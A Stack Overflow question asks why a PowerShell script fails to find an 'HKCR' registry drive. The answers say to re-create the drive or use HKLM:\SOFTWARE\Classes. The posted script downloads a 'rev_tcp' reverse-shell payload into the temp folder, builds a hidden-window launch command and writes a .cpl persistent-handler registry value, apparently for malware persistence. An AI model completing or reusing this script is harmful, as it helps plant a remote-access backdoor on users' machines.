Creating HKCR registry key using powershell script

Question

$PERprogram = $env:tmp+"\rev_tcp.exe" # Downloding the payload reverse tcp in temp folder
$dest = $env:tmp+"\rev_tcp"
$cmd = "powershell -WindowStyle Hidden " + $PERprogram
DownloadPayload 'rev_tcp' $dest -ErrorAction Continue;

Set-ItemProperty "HKCR:\.cpl\persistentHandler" -Name "sd" -Value  -Force**

when i try to run the above script. I am getting the error as A drive with name HKCR does not exit. but i already created the drive with HKCR in powershell as New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR.

New-PSDrive -PSProvider Registry won't persist across powershell sessions - you need to run New-PSDrive again at the top of your script, or target Registry::HKEY_CLASSES_ROOT\.cpl\persistentHandler instead — Mathias R. Jessen
– Mathias R. Jessen, Commented Dec 6, 2021 at 10:33
I have included New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR in the script as starting line but i am getting no such drive as error. — jhansi jatavath
– jhansi jatavath, Commented Dec 7, 2021 at 4:39

js2010 · Accepted Answer · 2021-12-06 13:34:01Z

2

You can use HKLM:\SOFTWARE\Classes instead of creating HKCR:.

answered Dec 6, 2021 at 13:34

js2010

28.4k6 gold badges82 silver badges88 bronze badges

Sign up to request clarification or add additional context in comments.

1 Comment

jhansi jatavath Over a year ago

Both HKCR and HKLM are same.

Collectives™ on Stack Overflow

Creating HKCR registry key using powershell script

1 Answer 1

1 Comment

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

1 Answer 1

1 Comment

Your Answer

Sign up or log in

Post as a guest

Related